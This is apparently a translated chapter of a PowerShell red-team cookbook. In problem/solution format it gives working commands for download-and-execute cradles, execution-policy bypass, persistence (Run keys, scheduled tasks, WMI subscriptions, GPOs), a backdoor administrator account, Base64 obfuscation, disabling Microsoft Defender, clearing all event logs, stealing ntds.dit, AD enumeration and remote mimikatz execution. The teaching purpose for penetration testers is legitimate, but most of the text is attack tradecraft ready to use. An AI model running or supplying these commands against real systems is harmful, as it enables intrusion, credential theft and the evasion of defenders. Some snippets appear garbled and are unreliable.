> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

无论你是否是本地管理员,也无论执行策略如何配置,这些命令始终有效,并会运行你的代码:

> echo <command> | PowerShell.exe -noprofile –
> Get-Content ./script.ps1 | PowerShell.exe -noprofile –
> powershell.exe -command <command>
> Invoke-Command -scriptblock {<command>}
> Invoke-Expression -Command <command>

针对此问题有许多解决方案,且这里并未列出所有方案。如果你想绕过执行策略,这不应该成为问题,并且可以通过多种方式轻松实现。

打开 PowerShell 命令行以执行命令

你想直接将命令传递给一个新的 PowerShell 会话,而无需打开新的 shell 并键入命令。

解决方案

你可以通过使用 powershell.exe 配合 -c**/**-Command 参数,后跟你的命令,来实现这一点:

> powershell.exe -c <command>
> powershell.exe -Command <command>

-c 选项将执行所提供的命令,并将其包装在双引号中,就像在 PowerShell 提示符下键入一样。

避免从 PowerShell 用户配置文件加载设置

PowerShell 用户配置文件包含不希望出现的设置,你需要避免它们。

解决方案

使用 -NoProfile-nop 参数,这样 PowerShell 就不会加载 PowerShell 用户配置文件。-nop 参数是 -NoProfile 的简写:

> powershell.exe -nop -c <command>
> powershell.exe -NoProfile -c <command>

使用 PowerShell cmdlet 下载文件

你想将一个文件下载到系统中的指定文件夹。

解决方案

使用 PowerShell cmdlet 下载文件有多种方法:

  • Invoke-WebRequest

对于以下所有示例,请下载以下脚本,可在raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1找到,并将其保存到 C:\Users\Administrator\Downloads\HelloWorld.ps1路径。

要使用Invoke-WebRequest下载文件,您可以使用以下代码片段:

Invoke-WebRequest -Uri <source> -OutFile <destination>

确保您适当地替换<source><destination>,分别表示文件的来源和下载位置,如下例所示:

> Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1' -OutFile 'C:\Users\Administrator\Downloads\HelloWorld.ps1'

也可以使用其别名iwr

> iwr -Uri 'https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1' -OutFile 'C:\Users\Administrator\Downloads\HelloWorld.ps1'
  • Invoke-RestMethod

您还可以使用Invoke-RestMethod从互联网返回脚本的内容:

iex (Invoke-RestMethod '<url>' )

Invoke-RestMethod旨在从表述性状态转移REST)Web 服务中检索数据。根据数据类型,PowerShell 相应地格式化答案:如果是JSONXML文件,则内容以[PSCustomObject]形式返回,但也可以检索和返回单个项目,如下例所示:

> Invoke-RestMethod -Uri 'https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1'

在这种情况下,文件将不会被下载;而是作为输出显示。

  • Start-BitsTransfer

要使用Start-BitsTransfer下载文件,您可以使用以下代码片段:

Start-BitsTransfer -Source <source> -Destination <destination>

确保您适当地替换<source><destination>,分别表示文件的来源和下载位置,如下例所示:

> Start-BitsTransfer -Source 'https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1' -Destination 'C:\Users\Administrator\Downloads\HelloWorld.ps1'

下载文件并在内存中执行

您想要下载一个文件,但不是将其保存到磁盘,而是在内存中执行它。

请注意安全性影响:如果您下载并执行一个您无法控制的脚本,对手可以替换内容,这可能导致运行任意代码。

还需要注意,即使内存中的方法可能看起来更隐蔽,由于 PowerShell 的安全透明性和出色的事件记录,它并不能完全保证隐匿性。

解决方案

您可以使用以下代码片段实现这一点:

> Invoke-Expression (Invoke-WebRequest -Uri '<url to script>')
> iex(Invoke-WebRequest -Uri '<url to script>')
> iex(Invoke-WebRequest -Uri '<url to script>'); <command from script>}

请注意,在此示例中,我们使用Invoke-WebRequest下载脚本,但您也可以使用任何其他允许您下载脚本的选项。使用Invoke-Expression或其别名iex,您可以直接执行脚本。

甚至可以在运行脚本时执行从脚本中导出的命令。

在这个示例中,我们将使用来自Chapter01HelloWorld.ps1脚本:raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1

以下示例展示了你如何简单地下载并执行文件:

> iex(Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1')

使用这个示例,你可以下载并执行PowerView,直接运行Get-NetDomain命令,该命令包含在PowerView中:

> iex(Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Get-NetDomain

使用 COM 下载并执行文件

你想要通过 COM 对象从互联网下载并执行文件。

解决方案

在这个示例中,我们将使用来自Chapter01HelloWorld.ps1脚本:raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1

你可以使用以下代码片段来实现你的目标:

$Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
$HttpRequest = New-Object -ComObject Microsoft.XMLHTTP
$HttpRequest.open('GET', $Url, $false)
$HttpRequest.send()
iex $HttpRequest.responseText

你也可以更改请求的用户代理:

$HttpRequest.SetRequestHeader("User-Agent", "1337")

只需在发送请求之前执行前面的命令——当然,首先修改它以反映你选择的用户代理。

使用.NET 类下载并执行文件

你想要使用.NET 类从互联网下载并执行文件。

解决方案

使用 PowerShell cmdlet 下载文件有多种方法:

  • System.Net.WebClient

要使用System.Net.WebClient类下载文件,可以使用以下代码片段:

(New-Object System.Net.WebClient).DownloadFile(<source>, <destination>)

确保适当替换<source><destination>,分别为文件的源位置和应该下载到的位置。

在这个示例中,我们将使用来自Chapter01HelloWorld.ps1脚本:raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1

以下示例展示了如何将HelloWorld.ps1脚本下载到管理员的下载文件夹:

> $Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
> $OutputFile = "C:\Users\Administrator\Downloads\HelloWorld.ps1"
> (New-Object System.Net.WebClient).DownloadFile($Url, $OutputFile)

如果你想从互联网执行文件,而不将其实际保存为文件,你还可以使用DownloadString()

> iex((New-Object System.NET.WebClient).DownloadString(<source>))

我们可以使用以下代码从 GitHub 仓库执行我们的脚本:

> $Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
> iex((New-Object System.NET.WebClient).DownloadString($Url))

使用这种方法,你还可以更改用户代理:

$Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
$WebClient = New-Object System.NET.WebClient
$WebClient.Headers.Add("user-agent", "1337")
iex(($WebClient).DownloadString($Url))

请注意,用户代理需要在每次请求之前设置。

  • System.Xml.XmlDocument

你还可以加载 XML 文档并执行特定的节点。这在节点中的命令被编码时特别有用。

在这个示例中,我们将使用一个 XML 文件,你可以在本书的 GitHub 仓库中找到它:raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter08/XmlDocument-Demo.xml

首先,我们必须将 XML 文件的 URL 加载到 $****Xml 变量中:

> $Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter08/XmlDocument-Demo.xml"
> $Xml = New-Object System.Xml.XmlDocument
> $Xml.Load($Url)

一旦 XML 对象可用,你可以轻松访问节点并执行保存在 XML 文件中的命令:

> $Xml.xml.node1.HelloWorld | iex
> $Xml.xml.othernode | iex
  • System.NET.WebRequest

下载并仅在内存中执行脚本的最佳方法是使用 System.NET.WebRequest 类。

对于这个示例,我们将使用 第一章 中的 HelloWorld.ps1 脚本:raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1

以下代码片段展示了如何创建一个 web 请求来获取 HelloWorld.ps1 脚本的内容并在内存中执行它:

> $Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
> $WebRequest = [System.NET.WebRequest]::Create($Url)
> $Response = $WebRequest.GetResponse()
> iex (System.IO.StreamReader)).ReadToEnd()

通过创建并发送 web 请求,也可以设置自定义用户代理:

> $Url = "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1"
> $webRequest = [System.NET.WebRequest]::Create($Url)
> $webRequest.UserAgent = "1337"
> $Response = $WebRequest.GetResponse()
> iex (System.IO.StreamReader)).ReadToEnd()

从 PowerShell 执行 C# 代码

你希望从 PowerShell 执行自定义的 C# 代码。

解决方案

有多种方法可以从 PowerShell 执行 C# 代码。其中一种方法是使用 Add-Type cmdlet 加载并运行你自己的 .NET Framework 类:

$source = @"
using System;
public class SayHello
{
    public static void Main()
    {
        Console.WriteLine("Hello World!");
    }
}
"@
Add-Type -TypeDefinition $source -Language CSharp
[SayHello]::Main()

在这个示例中,我首先在 $Source 变量中定义了一个小的 C# 代码片段。通过使用 Add-Type,C# 类被加载到内存中。现在,我们可以直接通过 PowerShell 访问 C# 函数,而无需编译 C# 代码。通过执行 [SayHello]::Main()Hello World! 字符串将被写入输出。

还有其他方法可以从 PowerShell 执行 C# 代码。请参阅第六章活动目录 – 攻击与缓解,了解更多信息。

持久化

一旦系统成功被攻破,攻击者会希望建立持久性,以确保他们的恶意代码会自动执行,从而不会失去对系统的控制。有多种方法可以建立持久性。我们将在接下来的章节中探讨其中的一些方法。

使用注册表建立持久性

你希望确保你的 PowerShell 代码在启动时自动执行,并希望使用注册表来实现这一目的。

解决方案

你可以通过在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 注册表路径下创建一个注册表项来实现这一点:

> New-ItemProperty -Path "<registry path>" -Name "<name>" -PropertyType String -Value "<powershell command>"

这个示例展示了如何创建一个注册表项来运行 C:\windows\system32\HelloWorld.ps1 脚本,同时使用 PowerShell 作为自动运行脚本:

> New-ItemProperty -Path "REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "NotSuspiciousAtAll" -PropertyType String -Value "powershell.exe -NonInteractive -WindowStyle Hidden -Execution-Policy ByPass -File 'C:\windows\system32\HelloWorld.ps1'"

该命令存储在NotSuspiciousAtAll下;每当自动启动被触发时,脚本将在 PowerShell 中以非交互和隐藏的命令行执行,并且配置为绕过执行策略。

使用启动文件夹建立持久性

你想通过使用启动文件夹来建立持久性。使用这种方法,建立持久性简单,但也容易被检测到。

解决方案

你可以将你的脚本添加到以下启动文件夹之一:

  • $****env:PROGRAMDATA\Microsoft\Windows\Start Menu\Programs\Startup

  • $****env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup

  • $****env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs\StartUp

你可以直接将其下载到启动文件夹中,如下所示:

$path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
if( -Not (Test-Path -Path $path )) {
        New-Item -ItemType directory -Path $path
}
iwr -Uri "https://raw.githubusercontent.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/master/Chapter01/HelloWorld.ps1" -OutFile "$path\HelloWorld.ps1"

或者,你可以创建一个新文件并填充内容:

$path = "$env:PROGRAMDATA\Microsoft\Windows\Start Menu\Programs\Startup\HelloWorld.ps1"
New-Item -Path $path -ItemType File
Add-Content -Path $path -Value "Write-Host 'Hello World!'"

使用计划任务建立持久性

你想通过使用计划任务来建立持久性。

解决方案

你可以使用schtasks来创建一个计划任务:

> schtasks /create /tn "NotSuspiciousAtAll" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\windows\system32\HelloWorld.ps1" /sc onstart

/create 参数表示你想要创建一个新的计划任务。使用/tn,你可以指定任务名称。红队成员和攻击者通常会尝试选择一个不会引起怀疑且如果蓝队调查时容易被忽视的名称。使用/tr,你可以指定在执行该计划任务时应运行的命令;/sc 定义任务的执行时间。在这种情况下,任务被设置为每次系统启动时执行。

使用 PowerShell 配置文件建立持久性

你想通过 PowerShell 配置文件来建立持久性。此方法较难被检测到,但如果在 PowerShell 启动时指定了 -noprofile,你的脚本将不会运行;然而,使用此方法也意味着它只有在用户运行 PowerShell 时才会触发——而在很多情况下,用户可能永远不会运行 PowerShell。

解决方案

PowerShell 支持每个用户的配置文件,这意味着每个用户都有自己的配置文件,一旦他们启动 PowerShell 会话,就会加载该配置文件。这些配置文件通常存储在 C:\Users\<USERNAME>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 下。

如果你想将内容添加到当前用户的配置文件中,可以使用 -Path $Profile 并添加你的脚本或命令:

  • 将脚本添加到当前配置文件:

    Add-Content -Path $Profile -Value "C:\path\to\script.ps1"
    
  • 添加命令以执行当前配置文件:

    Add-Content -Path $Profile -Value "Invoke-Command ..."
    

要将你的有效负载添加到当前主机的每个用户配置文件中,你还可以遍历所有用户配置文件并添加你的脚本或命令:

$profiles = Get-ChildItem -Path "C:\Users" -Filter "Profile.ps1" -Recurse
foreach ($profile in $profiles) {
    Add-Content -Path $profile.FullName -Value "C:\windows\system32\HelloWorld.ps1"
}

在这个例子中,首先,我们会在 C:\User 文件夹中查找所有 PowerShell 用户配置文件,遍历它们并添加 HelloWorld.ps1 脚本,该脚本位于 C:\windows\system32\ 下。

此外,还有一个适用于系统上所有用户的全局配置文件,位于 $PSHOME\Profile.ps1 下。$PSHOME 是一个自动变量,包含 PowerShell 安装目录的路径:

> Add-Content -Path "$PSHOME\Profile.ps1" -Value "C:\path\to\script.ps1"

这个命令将编辑全局配置文件,并将你的脚本添加进去,以便每次在此主机上启动 PowerShell 会话时执行。

根据系统或场景的不同,还有其他几种配置文件。你可以在官方文档中找到有关配置文件的更多信息:https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles。

使用 WMI 建立持久性

你希望通过 WMI 建立持久性。这是最隐蔽的方法之一,也作为 PowerSploit 中的一项功能提供。

解决方案

要通过 WMI 建立持久性,可以注册一个永久的事件过滤器和消费者,它们将在系统上定期运行,除非被注销。此部分将展示如何实现这一点。

首先,创建一个 WMI 事件过滤器,指定需要发生的事件以触发脚本运行:

$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='WMIPersistenceFilter';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 07 AND TargetInstance.Minute = 00 GROUP WITHIN 60"};

在这个示例中,已经创建了WMIPersistenceFilter事件过滤器。为了建立持久性,使用一个定期触发的事件是非常有用的。因此,在此示例中,事件将在系统时间为07:00时触发。

接下来,创建一个 WMI 命令行事件消费者。此命令旨在每当事件过滤器返回数据时执行:

$consumer = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name='WMIPersistenceConsumer';CommandLineTemplate="$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File C:\windows\system32\HelloWorld.ps1";RunInteractively='false'};

在我们的示例中,消费者被称为WMIPersistenceConsumer,它的配置是绕过执行策略并运行C:\windows\system32\HelloWorld.ps1脚本。

最后但同样重要的是,我们需要将它们绑定在一起——即,过滤器和消费者:

Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer}

现在绑定已经创建,PowerShell 脚本将每天早上 7:00 执行。

使用组策略对象建立持久性

你已攻破了 DC,并希望通过组策略对象GPOs)建立持久性。这样做的好处是,GPO 会反复应用到所有已配置的系统。如果 GPO 没有被删除或修改,你的 payload 将在成千上万的系统上始终执行。

解决方案

你需要创建一个新的 GPO,在启动时运行你的 PowerShell 脚本或命令。这可以通过组策略管理控制台GPMC)或 PowerShell 来完成。在这个示例中,我们使用 PowerShell 来创建 GPO:

$gpo = New-GPO -Name "PersistentScript"
Set-GPRegistryValue -Name "PersistentScript" -Key "HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Run" -ValueName "PersistentScript" -Type String -Value "powershell.exe -ExecutionPolicy Bypass -File \\Dc01\sysvol\PSSec.local\scripts\HelloWorld.ps1"

在这个示例中,我们创建了一个名为PersistentScript的 GPO。接下来,我们在启动文件夹中添加一个组策略注册表值,并将其配置为每次系统启动时通过 PowerShell(使用ExecutionPolicy Bypass参数)运行我们的脚本。这样,脚本将在组策略应用的每个系统启动时运行,无论执行策略如何配置。

最后,刚创建的 GPO 只需要应用到一个或多个目标系统。这可以通过New-GPLink cmdlet 来完成:

> New-GPLink -Name "PersistentScript" -Target "DC=domain,DC=local"

修改现有的 GPO 也是攻击者可能使用的选项,尤其是在权限不够严格的情况下。虽然新创建的 GPO 可能引起怀疑,但修改现有的 GPO 可能会避开蓝队的监控:

$gpo = Get-GPO -Name "PersistentScript"
Set-GPRegistryValue -Name "PersistentScript" -Key "HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Run" -ValueName "PersistentScript" -Type String -Value "powershell.exe -ExecutionPolicy Bypass -File \\Dc01\sysvol\PSSec.local\scripts\HelloWorld-Modified.ps1"

请注意,使用 GPO 作为建立持久性的手段,仅在你拥有适当的权限时有效。

创建一个新的用户帐户并将其添加到一个组中

你想创建一个新的用户帐户并将其添加到一个组中。

解决方案

有多种方法可以实现你的目标。例如,你可以结合使用 New-LocalUserAdd-LocalGroupMember 来创建一个新用户并将其添加到现有组中:

> $pass = ConvertTo-SecureString "Hacked!123" -AsPlainText -Force
> New-LocalUser -Name hacker -Password $pass
> Add-LocalGroupMember -Group Administrators -Member hacker

另外,你可以使用 net.exe 来成功实现:

> net user hacker Hacked!123 /add /Y
> net localgroup administrators hacker /add

防御规避

通常,红队成员希望避免被检测到,并尽可能隐藏和混淆他们的踪迹。这一阶段被称为 防御规避

避免在桌面上创建窗口

你想在执行 PowerShell 命令和脚本时避免在用户桌面上创建 PowerShell 窗口。

解决方案

你可以通过使用 -w hidden 来设置 WindowStyle,它是 -WindowStyle 的简写:

> powershell.exe -w hidden -c <command>
> powershell.exe -WindowStyle hidden -c <command>

使用 powershell.exe 执行 Base64 编码的命令

你想将一个 Base64 编码的命令作为命令行参数提供。

解决方案

可以使用以下语法在 PowerShell 中执行 Base64 编码的字符串:

> powershell.exe -e "<Base64 string>"

-e 参数(-EncodedCommand 的简写)允许你直接将 Base64 编码的命令作为命令行参数提供。

只需将 <Base64 string> 替换为你的 Base64 编码命令,如以下示例所示:

> powershell.exe -e "VwByAGkAdABlAC0ASABvAHMAdAAgACcASABlAGwAbABvACAAVwBvAHIAbABkACEAJwA="

在这个例子中,Base64 编码的字符串将在 PowerShell 中执行,并且 “Hello World!” 会被写入命令行。这是因为这个 Base64 字符串转换为 "Write-Host '****Hello World!'"

将字符串转换为 Base64 字符串

你想将一个字符串转换为 Base64 字符串,以混淆你的命令。

解决方案

你可以使用以下代码片段将字符串转换为 Base64 字符串;只需将 <text> 替换为你想要转换的字符串:

> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("<text>"))

以下示例将 "Write-Host 'Hello World!'" 字符串转换为 Base64 字符串:

> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Write-Host 'Hello World!'"))

在前面的示例中,我们将一个 Unicode 字符串转换为 Base64 字符串。也可以将一个 ASCII 字符串进行转换:

> [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("Write-Host 'Hello World!'"))

将 Base64 字符串转换为可读字符串

你想将 Base64 字符串转换回可读格式。

解决方案

你可以使用以下代码片段将 Base64 字符串转换回可读的字符串。将 "<Base64 string>" 替换为实际的 Base64 字符串:

> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("<Base64 string>"))

以下示例演示了如何将 "VwByAGkAdABlAC0ASABvAHMAdAAgACcASABlAGwAbABvACAAVwBvAHIAbABkACEAJwA=" 字符串转换回可读格式:

> [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("VwByAGkAdABlAC0ASABvAHMAdAAgACcASABlAGwAbABvACAAVwBv AHIAbABkACEAJwA="))

这将得到 "Write-Host 'Hello** **World!'" 字符串。

通常,ASCII 字符串会被编码成 Base64 字符串。如果你使用 Unicode 解码该字符串,你将无法获得期望的输出,正如下图所示:

图 8.2 – 如果你使用了不正确的格式,将会得到损坏的输出

图 8.2 – 如果你使用了不正确的格式,将会得到损坏的输出

使用以下命令将 Base64 字符串转换回 ASCII 字符串:

> [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("V3JpdGUtSG9zdCAnSGVsbG8gV29ybGQhJw=="))

这也将导致"Write-Host 'Hello** **World!'" 字符串。

执行降级攻击

你想绕过新版本 PowerShell 中引入的安全机制,如事件日志,因此你想进行降级攻击。

解决方案

通过在运行powershell.exe时指定 PowerShell 的版本号,可以执行降级攻击:

> powershell.exe -version 2 –command <command>

如果指定的版本已安装,则命令将在使用过时的二进制文件时运行,这意味着仅会应用已在该版本中引入的安全功能。

如果你尝试运行powershell.exe -version 2并且收到类似以下代码片段的错误消息,表示缺少 .NET Framework 2.0 版本,这意味着 .NET Framework 2.0 尚未安装在系统中:

> powershell.exe -version 2
Version v2.0.50727 of the .NET Framework is not installed and it is required to run version 2 of Windows PowerShell.

.NET Framework 2.0 可以手动安装。要评估 PowerShell 版本 2 是否启用或禁用,请运行以下命令:

> Get-WindowsOptionalFeature -Online | Where-Object {$_.FeatureName -match "PowerShellv2"}
FeatureName : MicrosoftWindowsPowerShellV2Root
State       : Enabled
FeatureName : MicrosoftWindowsPowerShellV2
State       : Enabled

在此示例中,似乎 PowerShell 版本 2 仍然在此机器上启用。因此,如果缺少的 .NET Framework 2.0 被安装,该系统将容易受到降级攻击。

禁用 Microsoft Defender

你想禁用 Microsoft Defender 及其大多数安全功能。

解决方案

你可以使用Set-MpPreference来实现你的目标:

> Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess Disabled -Force

此命令禁用实时监控、入侵防御系统、Internet Outbound AntiVirusIOAV)保护和脚本扫描。它将网络保护设置为仅审核模式(因此不再强制执行),禁用Microsoft Active Protection ServiceMAPS)报告,将同意设置为永不发送样本,并禁用受控文件夹访问。-Force 参数确保在没有额外提示的情况下应用这些更改。

如果你想篡改本示例中未显示的其他功能,请参阅Set-MpPreference文档:https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference。

清除日志

无论目标系统上部署的是哪个 PowerShell 版本,你都希望清除所有事件日志。

解决方案

你可以使用以下代码片段清除所有事件日志:

Get-WinEvent -ListLog * | foreach {
    try {       [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }
    catch {}
}

凭证访问

凭证访问阶段是关于窃取凭证(例如用户名和密码)的。这些凭证稍后可以用来进行横向移动并在其他目标上进行身份验证。

导出 ntds.dit 文件

你想要窃取包含所有身份和哈希值的ntds.dit文件,这些信息存在于 Active Directory 中。

解决方案

由于ntds.dit文件被 Active Directory 不断使用并因此被锁定,你需要找到访问ntds.dit的方法。一种方法是创建影像副本,创建符号链接,并从中提取该文件:

$ShadowCopy = Invoke-CimMethod -ClassName "Win32_ShadowCopy" -Namespace "root\cimv2" -MethodName "Create" -Arguments @{Volume="C:\"}
$ShadowCopyPath = (Get-CimInstance -ClassName Win32_ShadowCopy | Where-Object { $_.ID -eq $ShadowCopy.ShadowID }).DeviceObject + "\\"
cmd /c mklink /d C:\shadowcopy "$ShadowCopyPath"

现在你可以无错误地访问ntds.dit文件,并提取它或继续提取身份。在这个示例中,我们将其复制到C:\tmp以供进一步使用:

> Copy-Item "C:\shadowcopy\Windows\NTDS\ntds.dit" -Destination "C:\tmp"

一旦完成此操作,你可以删除符号链接并继续进行渗透测试:

> (Get-Item C:\shadowcopy).Delete()

发现阶段

发现阶段类似于侦察阶段:其目标是收集尽可能多的关于潜在目标的信息。发现阶段通常发生在红队员已获得系统访问权限并规划下一步时。

查找当前登录的用户

你想要查找当前登录的用户,并显示他们的用户名和域名(如果是本地账户,则显示计算机名)。

解决方案

为了实现你的目标,你可以使用whoami命令:

> whoami

枚举用户(本地和域)

你想要查找当前系统或当前域中存在的用户账户。

解决方案

根据你的目标,有多种方法可以枚举用户。

你可以使用 WMI/CIM 枚举所有用户,无论他们是本地用户还是域用户:

> Get-CimInstance -ClassName Win32_UserAccount

为了仅枚举本地用户,你可以使用Get-LocalUsernet users

> Get-LocalUser
> net users

有多种方法仅枚举域用户。如果存在ActiveDirectory模块,你可以使用Get-ADUser

> Get-ADUser

但在大多数情况下,ActiveDirectory模块不会存在,所以你可以利用adsisearcher枚举所有域用户:

$domain = Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select-Object -ExpandProperty Domain
$filter = "(sAMAccountType=805306368)"
$searcher = [adsisearcher]"(&(objectCategory=User)$filter)"
$searcher.SearchRoot = "LDAP://$domain"
$searcher.FindAll() | ForEach-Object {$_.GetDirectoryEntry().Name}

也可以使用net来枚举所有域用户:

> net user /domain

枚举组(本地和域)

你想要查找存在的本地组或域组。

解决方案

根据你是想枚举本地组还是域组,有多种方法可以实现你的目标。

你可以使用 WMI/CIM 枚举所有组,无论它们是本地组还是域组:

> Get-CimInstance -ClassName Win32_Group

为了仅枚举本地组,你可以使用Get-LocalGroupnet localgroups

> Get-LocalGroup
> net localgroups

有多种方法仅枚举域用户。如果存在ActiveDirectory模块,你可以使用Get-ADGroup

> Get-ADGroup

由于大多数情况下并非如此,你也可以利用net来查找存在的域组:

> net group /domain

你也可以使用adsisearcher枚举所有域组,如下所示的代码片段所示:

$domain = Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select-Object -ExpandProperty Domain
$searcher = [adsisearcher]"(&(objectCategory=group))"
$searcher.SearchRoot = "LDAP://$domain"
$searcher.FindAll() | ForEach-Object {$_.GetDirectoryEntry().Name}

获取当前系统的信息

你想要获取当前系统的信息。

解决方案

使用hostname命令,你可以查找当前机器的主机名:

> hostname

通过使用systeminfo命令,你可以检索当前机器的详细系统配置信息:

> systeminfo

Systeminfo 让你收集有关当前系统的各种信息,如硬件属性、当前操作系统版本、主机名、BIOS 版本、启动时间等有价值的信息。

枚举与网络相关的信息

你想了解当前系统的网络相关信息。它的 IP 地址是什么?还有哪些其他设备与当前机器连接?

解决方案

你可以使用以下命令来枚举与网络相关的信息:

> ipconfig /all

ipconfig /all 显示有关系统上所有网络接口的详细信息(包括 IP 地址、子网掩码、默认网关、DNS 服务器等):

> Get-NetAdapter | fl

使用Get-NetAdapter,你可以检索网络适配器及其属性的信息,如接口索引、名称、MAC 地址等:

> route print

route print 显示系统的路由表,展示网络目标、相关的网关地址以及接口信息:

> arp -A

arp -a 显示地址解析协议ARP)缓存,其中包含将 IP 地址映射到本地网络设备的 MAC 地址。通过这样做,你可以轻松发现潜在的横向移动目标。

枚举域信息

你想枚举当前域并了解更多关于林和域与林的信任关系的信息。

解决方案

你可以利用System.DirectoryServices.ActiveDirectory命名空间来枚举当前域和林:

> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

GetCurrentDomain() 命令检索 Active Directory 中的当前域对象,并返回域名、域控制器以及其他属性的信息:

> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

GetCurrentDomain()).GetAllTrustRelationships() 命令检索当前域在 Active Directory 中建立的所有信任关系,并提供受信任域及其属性的信息:

> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

GetCurrentForest() 命令检索 Active Directory 中的当前林对象,并返回林名、域树和其他属性的信息:

> ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

前面的命令检索特定林中所有的信任关系,并提供有关该林内受信任域及其属性的信息。

枚举域控制器(DC)

你想枚举一个域的 DC,并找出当前认证会话使用的是哪个 DC。

解决方案

你可以使用nltest查询并列出指定域中所有可用的 DC:

> nltest /dclist:PSSEC.local

要检索并显示当前域中所有 DC 的列表,请使用以下命令:

> net group "domain controllers" /domain

要确定用于验证当前会话的 DC,请运行以下命令:

> nltest /dsgetdc:PSSEC.local

列出已安装的防病毒(AV)产品

你想列出当前系统上安装的所有 AV 产品。

解决方案

你可以使用 WMI/CIM 枚举所有已安装的 AV 产品:

> Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

横向移动

一旦获得初步控制,红队通常会尝试从一个主机横向移动到另一个主机,探索并利用网络中的其他目标。横向移动使攻击者能够探索网络、提升权限、访问有价值的资源,并最终控制关键系统或数据。

在远程机器上执行单个命令或二进制文件

你想在远程机器上执行单个命令或二进制文件。

解决方案

要在远程(或本地)机器上执行单个命令或二进制文件,可以利用Invoke-Command

> Invoke-Command <ip address or hostname> {<scriptblock/binary>}

以下示例展示了如何在远程主机PSSec-PC01上执行Get-Process cmdlet 和mimikatz.exe二进制文件:

> Invoke-Command PSSec-PC01 {Get-Process}
> Invoke-Command PSSec-PC01 {C:\tmp\mimikatz.exe}

